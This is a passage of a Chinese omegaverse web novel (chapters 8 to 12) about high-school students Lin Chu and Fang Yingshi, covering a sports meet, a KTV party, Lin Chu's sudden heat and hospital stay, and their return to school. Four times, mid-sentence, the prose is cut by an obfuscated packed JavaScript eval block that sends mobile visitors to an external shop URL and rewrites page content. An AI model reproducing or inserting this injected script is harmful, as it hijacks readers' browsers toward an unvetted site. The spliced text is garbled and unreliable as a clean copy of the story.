然后广播稿一写就到了中午,很有天赋的赵宇飞拿了个平平无奇的名次回来,季然的男子100米也拿了个第三名,让人震惊的一直是柔弱文学少女形象的杨姗姗爆冷,勇夺高二女子200米赛的冠军,跑赢了一众alpha和体育生,成功震惊所有人,搞得体育委再看向他们几个文弱知识分子的目光都变得犀利了。 无辜被波及的真·文弱知识分子·沈之清:“……” 沈之清转头:“他不会明年让我报200米短跑吧?” 林樗:“很有可能。” 下午是跳远,报名的人是方应时和季然,临出发前,作为一起写了一早上广播稿的难兄难弟,方应时很诚恳的向林樗发出邀请。 林樗看了看方应时,又看了看已经榨不出来了的广播稿,很丝滑的做出从心的选择。 他本来以为,善解人意的班长向他发出邀请只是出于人道主义,想要解放握笔的手,但没想要方应时真的要把他拉向跳远的场地,然后给他挑了个好位置。 林樗:“……只是跳个远,真的需要我站在这里吗?” 同行的季然也发出疑问,不过他疑问的不是林樗需不需要站在这里,而是林樗为什么会出现在这里。 他跟方应时认识也算久了,他们是初中校友,虽然不同班,但也见过几次,打过几场球,高中同班后,当了近一年的同桌,零零散散也算了解方应时的品行,方应时这人看着开朗亲民,乐于帮任何人解决棘手的麻烦,但实际上总隔着一层——这也很正常,毕竟方应时家也不是什么很普通的家庭,天朝上族和平民之间有距离才是正常的。 但。 为什么…… 季然看着林樗,感觉很突然,不,其实也不是很突然,季然忽然想起,上一回在食堂,他跟方应时刚打完饭,正找着座位,方应时忽然就朝着林樗的方向走去,发出同坐请求,然后还问人家要不要吃卤鸡腿。 他当时是想要震惊的,但赵宇飞那家伙的反应太过奇葩,而林樗的反应又太镇定,然后他就忘了要震惊。 方应时的回答也很镇定:“需要的。你站在这里我跳得远一点。” 林樗:“……” “感谢你的认可,”林樗脸上出现无语的表情,“但以我对自己的了解,我没有这种给别人上buff的能力。” 方应时笑了笑,把带来的饮料塞到他手里,就跑去热身了。 季然看了看方应时,又看了看林樗,沉默了一下,试探性的把自己的饮料也递过去。 林樗:“……” 林樗面无表情的接下来。 然后,季然就折戟落败了。 方应时倒是不负众望,进了决赛,所以给他保管饮料的人变成了林樗和季然,主要是林樗在保管,季然负责在旁边当监察总管。 午后的太阳比早晨更大,明晃晃的光映耀得人眼睛疼,林樗站了一会儿人就开始挂机,轮到方应时的时候就敷衍的鼓掌,方应时休息的时候就递水,方应时休息的时候也不去别的地方,就站在林樗旁边,偶尔跟季然说两句话,看到林樗被晒得蔫蔫的,还会挪两步挡一下太阳。 然后,回过头就看到季然快要瞪出眶的眼睛。 四目相对,对视了两秒,方应时停了两秒,更理直气壮光明正大的挪到林樗和刺目的光中间,alpha投下的影子成功把omega盖住,人为制造出一片阴凉。 季然:“……” 季然:“!!!” 不是,哥们儿,你……在干什么啊啊啊! 挂机的林樗没察觉到他们的眉眼官司,问:“是不是马上轮到你了?” “应该是。” “哦,”林樗应了一声,继而困惑,“那你还站在这里干嘛?” 方应时:“……” 季然:“……” 方应时失笑一声,侧身把自己的饮料递给林樗然后去热身,因为围观比赛的人很多,他几乎是擦着林樗的肩膀过去的,alpha的体温普遍比较高,又运动过,微薄的汗液附着在皮肤上,总会带出一点信息素的气息,作为讲文明懂礼貌的高中生,alpha们会默契的在参赛前给自己喷上信息素清除剂,方应时也喷了,但在他擦身而过的顷刻,林樗还是闻到了那一点暴风雪的凉气。 高契合度什么的就是很麻烦。 林樗面不改色。 果然还是得更注意保持距离才行。 Buff加身的方应时连斩三匹黑马成功拿到第一名,给体育委的快乐续了一大杯。 第二天上午是长跑,下午是接力,都有方应时报名的项目,方应时也不负众望再次给他们班拿到名次,直至闭幕式开启,宣告今年的校运会结束。林樗对这些不太关注,但也知道积分总榜上,自己的班级拿到了一个不错的名次。 积分总榜是全学年一起排的,他们二年一班排在第二,仅次于体育生最多的二年四班,班里人都很高兴,体育委提议放课后全体聚餐,上报班主任后,陆哥更是大手一挥同意用班费直接报销。 因为是周五,第二天也不用上学,几个班干部凑在一起商量了半天,决定带着全班去吃个大排档,再去朴实无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497982|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华的去市中心包个大包厢玩玩游戏唱唱歌——主要是别的项目也没办法容纳一整个班的学生。 包厢是需要预定的,方应时接手了这方面的安排,甚至还安排了出行的交通工具问题。 林樗对吃大排档没有意见,但对包厢有意见,那明显不是一个符合节能人士去的地方,一想到要在五颜六色的灯光里跟一群破锣嗓子待一晚上,他就觉得不如回家睡大觉,但赵宇飞已经预判了他的预判,直接绑架他的书包,不知道从哪里冒出来的沈之清一边玩手机,一边默不作声的拦在他回家的路径上,讲台上的方应时更是朝他笑一笑,然后反手直接把他的名字登记上。 林樗:“……” 已经无力回天了。 林樗朝赵宇飞伸手要书包。 赵宇飞哀嚎一声,直接八爪鱼一样抱住林樗:“一起去吧,就一起去吧,你怎么忍心把我一个人放置出去!我们难道不是多磨大几吗?我们从初中到现在就没有分开过啊!!” “分开过的。”林樗非常冷漠,“你抛铅球我都没去看。” 赵宇飞胡搅蛮缠:“那怎么能一样!我们还一起上厕所!” 林樗:“不,厕所也不一起上了。” omega和beta不上同一个厕所。 赵宇飞挠了挠头,竭尽全力的想下一个理由。 林樗神色恹恹的,仿佛失去了力量:“手机给我,我得跟家里说一声。” “哦哦,”赵宇飞反应过来,一秒收了神通,“是得跟林阿姨说一声,不然得着急。我听我妈说林阿姨负责的实验室那边正准备开展一个什么实验,最近都会很忙。” 这件事林樗也知道,上周林见安女士就已经跟他说过要加班,然后连着三四天都住在实验室里,没回过家。 这种事很常见,从小到大一路过来,林樗和姐姐林梧都已经习惯了,还会反过来叮嘱林见安女士要按时吃饭,偶尔饭点到了还要抽查一下。 毕竟实验狂人忙起来就总是忘了吃东西。 沈之清不清楚这些,搭话问了几句,赵宇飞的妈妈跟林见安女士是同事,但不是同一个项目,所以聊了两句就换了一个话题。 因为都很想出去闹一圈,所以班内集合的速度很快。 到了大排档开了三张桌,吃完饭就八点多了,又闹哄哄的赶去市中心的KTV,进了大包厢,服务员把酒水饮料和果盘一起端上来,没一会儿麦霸点歌,其他的三三两两的围在茶几上开始玩狼人杀和玩扑克。 林樗不唱歌,也不玩狼人杀,赵宇飞就拿了一副扑克,叫上沈之清一起打斗地主。 场面变得闹哄哄的,方应时和KTV大厅经理对接了一下,多续了几个果盘,再回来就看到,包厢的一角,赵宇飞头上贴满了整蛊纸条,林樗和沈之清也有,不过很少,只有几张。 光看现状方应时都能猜到,没心机的赵宇飞完全被另外两人坑进谷底了,但有什么关系呢,他又不打算主持公道。 他带了个果盘走过去。 “算我一个?” 突如其来的声音,林樗抬头,就对上那双带笑的眼睛。 “欸,时哥你也要玩吗?”赵宇飞挠挠头,欣喜的把头上的整蛊纸条摘下来,“那我们换个玩法。” 沈之清说:“可以。” 林樗也无所谓。 方应时靠着林樗刚要坐下,忽然中间又探出另一个头。 “你们在玩什么,”刚被投票杀死的狼人,落单的季然挤进去,“我也要玩!” 9. 009 【第九章:昏迷的林樗近乎在哀鸣。】 五个人的扑克只能玩抽乌龟。 但抽乌龟太无聊,不符合他们的格调。 挤在林樗和方应时的中间,季然问了一圈,见没人反对,喜滋滋的准备换游戏玩,但因为是刚从学校出来,问了一圈一群人兜比脸干净,根本没带可以玩的桌游,情况变成了要么玩抽乌龟,要么找地方去买桌游。 市中心不缺能买桌游的地方,但隔了两条街,十一月的深夜还下起了一点毛毛雨,没人想出去。 到了只能猜拳的时候,沈之清提议道:“要不然,去隔壁四班的包厢借一借?” 四人一齐看向他。 赵宇飞:“四班的居然在隔壁庆祝吗?” 季然:“等一下,你怎么知道四班的在隔壁?” “别问,我有门道。”沈之清扬了扬手里的手机,然后拖着林樗出门,赵宇飞起哄也要跟着去。林樗没有拒绝,跟着出门,把那股冰冰凉凉的alpha信息素甩到身后。 这两天只要方应时靠近,这股飘忽不定,浅淡到检测仪都探测不到的信息素就会钻进他的肺腑里……这是高契合度带来的结果。 林樗设身处地的想,他能捕捉到方应时的信息素,那方应时估计也能捕捉到他的信息素…… 所以,为了大家的安全,为了平静无波的高中日常,他得更注意保持安全距离,走在最后,林樗反手阖上包厢的门。 昏暗的室内,五颜六色的灯光游移,角落小分队清空一半,只剩季然和方应时还坐着,方应时手里拿着罐可乐,一路追随的目光在紧闭的门上停了一瞬,再回过头就对上季然不可置信的神情。 “时哥,你……你的眼睛……” “眼睛怎么了?” 季然一时间居然不太敢跟方应时对视,他很努力的,想形容出刚刚方应时看林樗的模样:“……就,有点像老鹰要抓小鸡了的感觉。” 方应时:“……” 方应时想起刚刚本应该坐在他旁边的林樗,被季然横插一脚挤到旁边的事,哼笑一声:“关于你这次月考语文不及格的问题,我会提前跟语文老师沟通的。” 季然:“……” 等、等一下,他是想说林樗的问题的,怎么一下绕到月考成绩上了,而且成绩还没出来呢,他怎么就语文不及格了?! 市中心寸土寸金,包厢七拐八绕,林樗跟着拐了两个大弯才来到目的地。 沈之清敲开门,四班的班长,剃着个刺猬头,一脸凶神恶煞的体育生卫兰拉开门走出来,也邀请他们进去,问:“你们想要什么桌游?” 沈之清:“适合五六个人一起玩的,有什么类型能选?” 赵宇飞也凑上去。 林樗没想凑热闹,只是靠在门边,开关门的一瞬,包厢里的鬼哭狼嚎传出来,扑面而来的还有混杂着alpha信息素的空气,四班是他们学校有名的和尚班——一个omega都没有,但却有六个alpha。 大概是因为这个原因,他们班的信息素基本礼仪只够及格,再多就没有了。 林樗没有苛求别人的打算,毕竟信息素这种东西,就算是一直戴着隔离贴都没办法完全防住。林樗又往旁边站了两步,但不知道怎么的,隐隐约约还是能闻到那股混杂的alpha信息素的刺鼻气息,这股气息萦绕不散,刺得他脑袋突突的疼,连盖着两片隔离贴的腺体也开始传出不适感。 这是不正常的。 几乎是同时,林樗想到了医生的告诫。 他是晚龄觉醒,信息素浓度忽高忽低,得要度过第一次发情期才会慢慢趋向稳定……所以,他很可能是第一次发情期到了。 意识到这一点,他几乎是立刻又往后退了一大步。 在场的人都被他的动作惊到,侧过头看他。 赵宇飞茫然的挠头:“阿樗,你怎么了?” 林樗判断了一下自己的情况,“没事我去上个厕所。” 赵宇飞:“哦哦,那我陪你去吧。” 林樗:“……” 赵宇飞恍然大悟:“我又忘了,你是omega,我已经不能跟你进同一个厕所了。” 林樗大步走向厕所,留下几人,卫兰停了几秒,一卡一卡的转向沈之清:“等一下,他、他怎么是omega?!” 沈之清不解,但应了一声:“嗯?” 卫兰脸色都变了:“完蛋了,我们班有个alpha突发易感期,才刚打完抑制剂,空气还没散尽呢,他不会受影响了吧?” 另一边,林樗已经找到厕所了。 在一个多月前,一向身体健康的他开始因为三天两头发低烧进医院,然后被医生诊断为晚龄觉醒,即将从一个beta变成omega时,他就对自己未来的生活做出过许多合理预判,突然进入发情期就在他的预判范围里,他为此做了准备:他将随身携带抑制剂,直到宇宙毁灭。 携带的抑制剂在上回打给沈之清之后,当天晚上他就又补了一支,就放在口袋里。他每天出门第一件事就是检查口袋。 厕所分了六个隔间,omega的隔间隐私性最强,林樗挑了个角落的隔间,反锁上门,坐在马桶盖上就开始给自己打抑制剂。 虽然是第一次打,但林樗专门学习过,手也很稳,除了针头刺破腺体的锐痛让他本能瑟缩了一下外,他全程都没什么表情,甚至开始默念计算时间。 抑制剂生效需要时间,具体的时间因人而异,代谢快生效就快,代谢慢生效就慢,但再慢也不会超过二十分钟,林樗决定,为了不必要的意外,他要在这个隔间待够二十分钟。 他安静的坐着,出来的时候以为只是借一下桌游,所以他并没有带手机,并不清楚现在的具体时间,等待又进一步模糊了知觉。 时间一分一秒的过去。 也不知道过了多久,林樗忽然发觉疼痛并没有因为抑制剂缓解,他的头还是突突的疼,腺体更是由轻微的不适转变为胀痛。 糟糕了。 这段时间的高中日常太过平静,让他忽略了医生给他的另一个诊断: 他对alpha信息素的接受范围很窄。 他只能接受契合度高于95%的alpha的信息素,如果被契合度不足的alpha信息素影响,就很有可能诱发信息素紊乱。 所以,现在的情况应该不是抑制剂无效,而是他信息素紊乱了。 那么,接下来该怎么办? 呼吸越来越沉重,呼进肺腔里的都是自己的信息素,林樗仰起头,想竭力在疼痛保持清醒……很痛,真的很痛,脖颈后才堪堪完成发育的腺体因为无法代谢低契合度的alpha信息素开始发出尖锐的刺痛,甚至连空气流动带来的感知都无比疼痛,现在最正确的做法应该是,拨打120急救电话,用最快的速度去医院。 但是他没有带手机。 次选做法是向周围的人求助。 但是,现在厕所里没有第二个人,在他之后进入厕所的人都已经离开了。不过赵宇飞和沈之清都知道他在哪儿,他没有及时回去的话,他们一定能察觉到异常。 也就是说,只要安静的等下去,也许下一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497983|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会有援兵赶到。 那么,最后一个需要担心的问题就是:他的信息素会不会扩散出去,会不会对别人造成影响?如果造成影响的话会带来多大的混乱? 林樗思考着这些问题,努力维持着自己的清醒。 厕所外,浓郁的酒香已经飘出来了。 第一个察觉到不对的是一个经过的女性omega,她上报给大厅经理,经理很快将厕所围隔开,没一会儿,过道里就挤满了看热闹的人,有人问报警了没,有人问厕所里面的是谁,还有人一头雾水到处追问发生了什么。 嘈杂的气息让周围变得乱糟糟的。 沈之清抓着抑制剂想要进厕所帮忙,但卫兰拦着不让,“你不行。你的发情期才刚结束,里面的信息素那么浓,你一进去就容易变成第二个污染源。” 事件发展太快,从omega信息素漫溢出来到超过常人能接受的阈值也就几分钟的时间,这就是那么久都没有第一个人进入厕所的原因——这么浓郁的信息素,无论是omega还是alpha都很容易被影响,进入假性发情。 最好的办法还是等急救医生赶来。 120已经打了,但谁也不知道医生会什么时候赶到,更不知道里面的omega是什么状态。 围观的人越来越多,嘈杂声连成一片,KTV的经理让人守着不让出入,防止事态恶化。 “我来我来!”被人群挤在一起的赵宇飞艰难的朝沈之清伸手,“抑制剂给我,我是beta,我不受影响……” 话没说完,沈之清的手一空。 抑制剂落进了方应时手里,几乎是同时,方应时又从口袋里拿出另一支抑制剂,拔出针帽,毫不犹豫的扎进腺体里,行云流水的清空针剂。 周围霎时安静,连KTV经理都顿住了。 方应时越过他,留下空空如也的针管,径直走进厕所里。 门阖上,浓郁的omega信息素铺天盖地涌来的那一刹那,方应时没控制住整个人顿了两秒,被压抑的alpha信息素连同理智一起焚烧起来,如同奔流的岩浆一样在血管里乱窜。 太浓了。 浓得他牙根发痒。 每一个细胞都在叫嚣,标记他,标记这个omega…… “呃——” 从牙齿里挤出来的痛苦呻/吟,让方应时一瞬间惊醒。 “林樗!你还好吗?你怎么样了?” 林樗没有办法给出回应,模糊的意识里,他甚至没有听到有人在喊他,他只觉得灼热的空气变冷了,就像暴风雪一样将他圈进半空里,他仰着头,想要大口喘息,想要吸入更多的冷气以抵消肺腑里的灼热,下一秒,反锁的隔门被推开,他一头栽下去,栽进一个温热的怀抱里。 “痛……” “哪里痛,”方应时竭尽全力的控制着自己,“告诉我哪里痛?” 陷入昏迷的林樗近乎在哀鸣,“好痛……” 方应时脸色一变,也顾不上其他,直接撕开林樗脖颈后失去作用的隔离贴,那本应平滑的腺体已经变得红肿不堪,甚至在空气中,以肉眼可见的速度变得更严重。 “我好痛……” 怀里的身体开始颤抖,心脏揪成一团,方应时觉得自己也在颤抖,他把抑制剂的针帽拨开,把针剂注射到林樗的腺体里,又脱下外套罩在林樗身上,抱起林樗的同时飞快的调动自己的信息素将不停散逸的酒香隔绝开。 “让开。” 暴烈的alpha信息素逼退围观的人,方应时连电梯都来不及等,抱着人从安全梯冲下楼。 10. 010 【第十章:“你昏过去之前没同意。”】 林樗是在两个小时后恢复清醒的。 醒来第一眼先是看到了苍白的天花板,第二眼是挂在床头滴了一半的透明药水,空气中还能闻到属于他的omega信息素的气息,但已经降到正常值,林樗没忍住摸了摸颈后,腺体消肿了,还有些痛,但不是被咬破的疼痛,还在能忍受的范围。 窗外夜色浓重,也不知道几点了,林樗收回视线,这间病房是双人间,不过只入住了他一个人,另一边是空床,运作中的空气净化器发出细微的响声,除此之外,一切都很安静,很适合思考。 得益于方应时补的第二针抑制剂,他昏昏沉沉里还记得所有的事情,他记得校运会刚结束,班上组织庆祝,一群人到了KTV,然后在去隔壁借桌游的路上出现了意外—— 应该不能叫意外,准确的说,那是他二次觉醒后,尚不稳定的发情期突然到了。 他做好了准备,正常情况下,只要扎一针抑制剂就能解决问题,却没想到隔壁班的alpha突发易感期,高浓度的alpha信息素将他拉进深渊里,进入发情期的腺体无法代谢低契合度的alpha信息素而发出尖锐刺痛,再然后方应时闯了进来,抱着他一路下楼,用最快的速度把他送进医院里。 治疗很及时,所以两个小时后的他成功清醒过来。 总结整个过程,问题所在依旧是他太大意了。 发情期的到来是有征兆的,在前两天他就频繁的捕捉到alpha的信息素,只是这个alpha是方应时——他和方应时的契合度足够高,所以alpha信息素没给他带来负面影响,让他放松了警惕。 “所以,”林樗撑着手坐起来,叹了一口气,“这个应该算无妄之灾……” 微不可闻的声音在病房内响起,然后,下一秒,突兀的敲门声响起。 “你醒了吗?” 林樗愣了一下,后知后觉意识到,这是方应时的声音。停了几秒,他爬起来,拎起自己的吊瓶打开门,门外的长椅上坐着的,赫然就是方应时。 深夜的病房区很空旷,长手长脚的alpha颓唐的坐在椅子上,头发凌乱不堪,校服外套脱在一边,单薄的衬衫挽到手肘,手背上是同款的输液管,两瓶打到一半的吊瓶就挂在他头顶的支架上。 林樗:“……” 不知道的还以为因为发情期被送医的人是他呢。 “还有哪里不舒服吗?我帮你叫医生?” 方应时没有抬头,接着长廊的顶灯,林樗很清楚的看到alpha颈后的三个针孔——那是打抑制剂留下的印记,抑制剂是alpha和omega的专用药剂,但并不是无限制使用,在医护建议里,一个发情期或易感期里,alpha和omega至多只能注射三支抑制剂。 空气里没有熟悉的alpha信息素, 手还搭在门把手上,林樗忽然开口:“看看脸。” 方应时顿了一下,很慢的,抬起头,露出泛红的眼睛,瞳孔蒙着薄雾,往日清明的视线变得涣散迟钝,苍白的脸褪去血色,垂落的手臂细微的颤抖着,过载后的倦怠,让他连呼吸都觉得疲惫。 难怪要坐在椅子上,应该是站不起来了。 林樗下意识抿了抿唇,视线顺着输液管看向方应时头顶。 “这是什么药水?” “镇静剂和抑制剂清除剂。”方应时迟钝的思考了一下,“医生说我打的抑制剂太多了,需要紧急处理。” 林樗:“为什么要打这么多抑制剂?” 方应时撇开视线。 但林樗已经看着他。 “因为牙齿很痒。”方应时没办法的塌下肩膀,“送你过来的路上,车厢里都是你的信息素,我牙齿很痒,有点要控制不住了。” 短短二十分钟的车程,他就连着又给自己打了两支抑制剂,送到急救室里,医护人员想要从他手里抢人的时候还遭到了他的无情攻击,最后,不得已之下,他也成了医生的病人之一。 林樗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497984|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撸起袖子,露出手肘上方被强行用力勒出来手印,“哦,所以这个是你弄出来的哦。” 方应时一顿:“抱歉。没控制住。” 林樗:“……” 林樗:“你是白痴吗?” 方应时:“……” 林樗脸上没什么表情:“那种情况下,你咬一口也没人会怪你。” 如果他没记错的话,在那个窄小的车厢里,他已经整个的被方应时摁在怀中,铁箍一样的大手环住他,下巴枕在肩膀上,alpha尖锐的牙齿离他的腺体一步之遥,昏迷的他甚至能感受到带着信息素的气流扑在皮肤上的惊悚感。 安静的病房长廊。 镇静剂在发挥着作用,方应时仰着头,很迟钝的眨了眨眼睛,“但是你没同意。” 林樗:“我昏过去了。” 方应时:“昏过去之前没同意。” 林樗:“……” 林樗:“我不同意你就不咬,那我不同意你脑……” 到口边的话卡住,在方应时茫然的视线里,林樗撇开头,恶声恶气的叹息“你就是白痴。” 说完也不管方应时什么反应,回到病房阖上门,把空气净化器的强度拉满,然后又一次拉开门,“这里还有一张空病床。” 说完,病房的门又被阖上了。 方应时停了一下,慢半拍的视线一瞬不瞬的追随着林樗的行动,最后,像是意识到什么,回忆起omega泛红的耳尖上。 朝阳再次跃出海平面,新的一天到来。 车流如水,沉寂的走廊响起脚步声,护士推着车经过,嘈杂的声音鼓动耳膜,林樗迷蒙的睁开眼,看到陌生的环境,后知后觉的想起来这是医院…… 医院。 林樗砖头去看旁边的病床,是空的,又探手去摸自己的腺体,一晚上过去,疼痛感已经完全消失了。 “饿了么?要喝点粥吗?” 声音骤然响起,林樗转过头,就看到方应时提着打包好的早餐走进来。 11. 011 【第十一章:除以身相许以外的任何谢礼。】 生病的是一个人,但在医院躺板板的是两个人,甚至方应时的症状比林樗还要严重。 在腺体里不可代谢的alpha信息素被清除之后,林樗只是简单的发情期到了,打几天抑制剂就能恢复正常,但方应时则是因为吸入太多omega信息素,然后又超量注射抑制剂,身体应激,直接快进到了易感期。 然后他们俩就难兄难弟似的,住了两天院。 当然,不是同一个病房,没有哪个医院敢于将一个发情期的omega和易感期的alpha关在一个病房里。在林樗醒来之前,无论如何都不肯离开的方应时在第二天被医护架进了alpha的专属病房。 所以,虽然住在同一个医院,但在吃过一顿早餐之后,两人没再碰过面,林樗松了一口气,他是真的害怕方应时躲过医护拎着午餐来问他要不要一起吃——不是方应时带来的饭不好吃,也不是他讨厌看见方应时的脸,而是易感期的alpha给人的压力太大了。 更别说他们还是高契合度的alpha和omega。 最近发生的事情很多,他不确定方应时有没有从信息素里发现他们之间的契合度很高的问题,但为了他的高中日常,为了避免可能存在的麻烦,他掩耳盗铃一样的抵抗本能,一声不吭的陪方应时吃了一顿早餐。 Omega的发情期一般在5~7天,正常情况,只需要打上专用的发情期抑制剂就能正常生活,林樗觉得自己恢复得不错,于是在经过医生同意后,躺了两天的他在周一正常返校了。 在返校之前,林樗向他们俩的主治医生询问了方应时的情况,得知方应时情况虽然严重,但已经在好转后,理所应当的,没有通知对方他出院了——他觉得他没有额外通知的必要,他们只是同学,好心的同学在他发生意外时帮助他送医,他很感激,愿意支付一切除以身相许以外的合理谢礼。 意外的是,方应时也在周一返校了,只不过是在周一上午第二节课的大课间。 在吵闹的课间,方应时一身校服,背着书包走进教室,季然发现了他,上去给了一个熊抱,而后叽叽喳喳的问他怎么突然病了? 如出一辙的问题,在早读前,林樗走进教室时就被问过一遍。 “不是什么大问题。”方应时扭开扑上来的季然,把书包塞进课桌里,然后坐下,坐下前捕捉到了停在身上的视线,扭过头对着林樗笑了笑。 林樗:“……” 林樗有些仓促的挪开眼睛,因为他注意到了,和他一样,方应时脖颈上也贴着两张隔离贴,被零碎的发尾盖住。 他的隔离贴是防发情期的。 方应时的应该是防易感期的。 ……确实是一对苦逼的难兄难弟。 林樗一边发呆一边转笔,边上抄数学作业的赵宇飞眼观六路耳听八方,先是和前桌的文学少女对了一个答案,又隔着过道问语文课代表接下来的课上什么,甚至还听到了方应时回归的消息,十分感叹:“班长这也不像是感冒啊?” 林樗回过头:“什么感冒?” 赵宇飞:“你不知道吗?季然说的,他周六去找班长玩儿,但是面都没见到,打电话,班长说他病了,没时间玩。现在看起来也不像是重感冒啊。” 林樗顿了顿,有些不太确定:“他说他重感冒?” 赵宇飞:“是啊。班长亲口说的,说是送你到医院之后,吹了凉风,然后就感冒了。不过你别担心樗儿,你躺医院里不方便动弹,但爸爸我是懂感恩的,我跟沈之清已经代你谢过班长了。” 林樗:“…………我才是你爸爸。” 赵宇飞手上抄作业的笔不停,语气却十分大气:“没事,你是我爹和我是你爹不冲突。咱们各论各的。” 又是一节课。 课后,班主任陆哥带着月考成绩排名走进教室,在一片哀嚎中,将排名表贴在黑板边上,贴完又让方应时把物理卷子发下去,末了还催促道: “赶紧看两眼排名,对自己的水平做个简单的了解,下两节物理课,刚好我们讲试卷。” 林樗没去看排名,没两分钟,物理卷子就发到他手里。 “考得还不错。” 林樗猝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497985|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然抬头,感知比眼睛更快的意识到是方应时,物理卷子悬空,另一端握在方应时手里,林樗接了过来,卷首上是一个红色的86。 “这次月考最后两题有些超纲,能做出来的人不多。” 林樗应了一声。 上课铃声很快响起。 “已经上课了,都安静点,把卷子拿出来。”陆哥站到讲台上,“排名你们都看过了,进步还是退步心里都有数,不过还是要着重表扬一下几个进步快的同学,陶稚和杨姗姗都进步很快,特别是林樗,虽然请假了几天病假,但完全没有落下课程,你们几个退步的要跟他们学学,不懂得课下多问问,来我们先看第一题,遇到斜坡方块题,第一步是干吗?做受力分析……” 两节课讲下来,林樗发现自己何止是没有退步,甚至还进步了不少,连带着年级整体排名都前进十几位,已经有冲击年级前十的潜力了。 当然年级第一名还是方应时。 那份据说超纲的物理考卷,在一堆八十九十里,他一骑绝尘拿了个一百分……还好他的优势科目不是物理,不然高低要被打击的变身反派。 下了课,一起去食堂。 食堂的菜谱三天一轮换,今天恰好又是卤鸡腿。 林樗和沈之清跟着雄赳赳气昂昂的赵宇飞,成功找到了一个位置,刚坐下没一会儿,一个刺猬头停在边上问能不能一起坐,林樗有些不解为什么是问自己,然后后知后觉的想起来,这个刺猬头是隔壁四班的班长卫兰。 “上周的事,很抱歉。”卫兰坐在沈之清的旁边,指了指食堂门口的位置,“那家伙想过来给你道歉,但担心出问题,就只能委托我过来。” 林樗回头看了一眼,食堂门口站着一个一米八多的肌□□育生:“没事。是我自己不小心。” 大概是不意外得到这种回复,卫兰又跟沈之清讲了两句话,就道别离开。 林樗开始吃饭,低头吃了两口,边上忽然又有人问:“能不能坐这儿?” 林樗抬起头,不出意外的看到了季然的脸,还有站在季然旁边的方应时,方应时正看着他,弯着眼睛笑着。 12. 012 【第十二章:“你是什么神奇牛奶仙人吗?”】 吃完饭,一行人走出食堂时,赵宇飞和季然已经从火星有没有外星生物聊到三体人什么时候进攻地球了,沈之清在他们俩中间,时不时补上自己的观点。 午后的太阳明媚得刺眼,风从林荫道吹过来,操场升旗台红旗招展,嬉笑打闹的高中生越过他们往教学楼跑去,一切都和印象里一样——虽然这段时间发生了很多事,他二次觉醒了,他莫名读心了,甚至还不小心发情了——每一件看起来都像是能写进小说的灾难□□故,但在这样的风雨里,他避开每一个可能性,维持住了他平静的高中日常。 成功来自不易,林樗觉得自己应该倍感珍惜,所以他挪了两步,躲开灼目的太阳躲到林荫下,不自觉就落后了同伴几步。 反正是午休时间,他也不着急,于是走得就更慢了,就在这时,一瓶草莓牛奶递到手边。 方应时探头问:“喝一点?” 林樗:“……” 方应时歪头:“上次你也没喝,你不会害怕喝牛奶吧?” “并没有。”林樗木着脸,“但我想,我还没有缺营养到要一天喝三顿牛奶。” 方应时眨了眨眼睛,露出堪比骄阳的招牌笑容:“可是现在情况不太一样,以你的身体状况,多喝一点牛奶有助于恢复状态。” 什么状况方应时没点明,但林樗一秒领悟,他指的是发情期。 云也舒展,风很柔和,周围没有alpha的信息素,但不知道为什么,听到这句话,林樗感觉被隔离贴遮挡住的腺体忽地传来一阵酥麻……不舒服,甚至有点难以忍受。 林樗忍不住睨了一眼笑得大公无私的方应时:“说起来,班长你不是重感冒了吗?不如还是回家休息吧,都有点神志不清了。” 方应时:“……” 方应时失笑,然后自爆卡车:“你不是知道吗?我总不能跟别人说我因为你的信息素提前进入易感期了吧。” 那样八卦和流言蜚语可以瞬间飞到天上去。 林樗:“……” 四目相对,在那双弯起的眼睛里,林樗忽然不确定对方是不是已经知道他们之间信息素契合度超过寻常认知的事情。 方应时又示意了一下:“喝吗?” 草莓牛奶又往前递了一递。 林樗不接。 方应时开始哄骗:“你喝了我跟你说一个神奇的秘密。” 没有一个处在求知欲旺盛期的高中生能拒绝这种话。 林樗犹豫片刻。 林樗接了下来。 